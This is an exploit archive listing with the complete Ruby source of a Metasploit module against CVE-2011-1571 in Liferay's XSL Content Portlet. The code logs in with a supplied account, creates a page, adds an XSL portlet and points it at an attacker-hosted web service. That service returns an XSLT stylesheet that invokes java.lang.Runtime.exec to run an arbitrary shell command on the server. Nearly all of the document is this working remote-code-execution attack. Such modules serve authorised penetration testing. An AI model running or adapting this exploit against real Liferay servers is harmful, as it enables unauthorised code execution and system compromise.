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Liferay XSL Command Execution

Liferay XSL Command Execution
Posted Apr 7, 2012
Authored by Nicolas Gregoire, Spencer McIntyre | Site metasploit.com

This Metasploit module exploits a vulnerability in the XSL parser of the XSL Content Portlet. When Tomcat is present, arbitrary code can be executed via java calls in the data fed to the Xalan XSLT processor. If XSLPAGE is defined, the user must have rights to change the content of that page (to add a new XSL portlet), otherwise it can be left blank and a new one will be created. The second method however, requires administrative privileges.

tags | exploit, java, arbitrary
advisories | CVE-2011-1571, OSVDB-73652
MD5 | 6a8ea2e6b7c50e4cc43ad8970fee954e

Liferay XSL Command Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'active_support/json'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay XSL Command Execution',
'Description' => %q{
This module exploits a vulnerability in the XSL parser of the
XSL Content Portlet. When Tomcat is present, arbitrary code
can be executed via java calls in the data fed to the Xalan
XSLT processor. If XSLPAGE is defined, the user must have rights
to change the content of that page (to add a new XSL portlet),
otherwise it can be left blank and a new one will be created.
The second method however, requires administrative privileges.
},
'Author' =>
[
# SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
'Spencer McIntyre',
'SecureState R&I Team', # SecureState Research and Innovation Team
'Nicolas Gregoire', # authored the vulnerability details provided in the wiki
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2011-1571' ],
[ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
],
'Privileged' => false,
'Platform' => [ 'win', 'linux', 'unix' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { 'groupid' => 0, 'pauth' => false } ],
[ 'Liferay 5.2.3 (Tomcat/JBoss)', { 'groupid' => 16, 'pauth' => false } ],
[ 'Liferay 6.0.0 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => false } ],
[ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => true } ],
],
'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
OptString.new('XSLPAGE', [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),
], self.class)
end

def auto_target(headers)
print_status("Attempting to automatically select a target...")
case headers['liferay-portal']
when /5.2.3/
return targets[1]
when /6.0.0/
return targets[2]
when /6.0.[1-6]/
return targets[3]
end
return nil
end

def exploit
print_status('Logging in and creating a page to embed XSL Content into...')
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})

mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target(res.headers)
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
end
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
cookie = "#{sessionid}; COOKIE_SUPPORT=true"

app_base = rand_text_alphanumeric(8+rand(8))
new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
@xsl_data = run_cmd_with_xsl(payload.encoded) # this is really the data returned for XSL and XML requests
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req, 'XSL')
},
'Path' => '/' + app_base + '.xsl'
}})
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req, 'XML')
},
'Path' => '/' + app_base + '.xml'
}})

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
'data' => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
'cookie' => cookie
})

if res.code != 302
print_error('Login failed.')
return
end

cookie = ''
for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
end
xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }

if datastore['XSLPAGE'] == nil # the page was not defined, so we try to create a new one
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/layout_management/update_page',
'data' => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
if res.code != 200 or res.body == ""
print_error('Could not create a new page to embed the XSL Content into...')
return
end
new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end
print_status("Successfully created page #{new_page}, now configuring XSL...")
else
new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']
end

res = send_request_cgi({
'method' => 'GET',
'uri' => new_page,
'cookie' => cookie
})

plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i
layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i
if mytarget['pauth']
pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'
else
pauth = '' # versions prior to 6.0.1 do not require a p_auth token
end

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/portal/update_layout',
'data' => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add&currentURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
if res.code != 200
print_error('Could not create a new page to embed the XSL Content into...')
return
end

portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",
'data' => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",
'cookie' => cookie,
})

if res.code != 200
print_error('Could not configure the XSL Portlet')
return
end

print_status("Successfully configured XSL Portlet, requesting page to execute code...")
res = send_request_cgi({
'method' => 'GET',
'uri' => new_page,
'cookie' => cookie
})

# wait for the data to be sent
waited = 0
while (not @xsl_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > 30)
raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'
end
end

print_status("Shutting down the web service...")
stop_service
return

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/portal/update_layout',
'cookie' => cookie,
'data' => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"
})

if datastore['XSLPAGE'] == nil # we created the page, so delete it
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'c/layout_management/update_page',
'data' => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",
'cookie' => cookie,
'headers' => xml_http_request_headers,
})
end
end

# Handle incoming requests from the server
def on_request_uri(cli, request, resource)
print_status("Sending the #{resource} File to the server...")
send_response(cli, @xsl_data)
@xsl_sent = true
end

def run_cmd_with_xsl(cmd)
varpayload = rand_text_alpha(10+rand(8))
varruntime = rand_text_alpha(10+rand(8))
varproc = rand_text_alpha(10+rand(8))
payload = "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"
payload << " <xsl:template match=\"/\">\n"
payload << " <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"
payload << " <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"
payload << " <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"

payload << " <xsl:choose>\n"
payload << " <xsl:when test=\"contains($osversion,'windows')\">\n"
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n"
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
payload << " </xsl:when>\n\n"

payload << " <xsl:otherwise>\n"
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n"
payload << " <xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n"
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
payload << " </xsl:otherwise>\n"
payload << " </xsl:choose>\n\n"

payload << " </xsl:template>\n"
payload << "</xsl:stylesheet>\n"
payload
end
end
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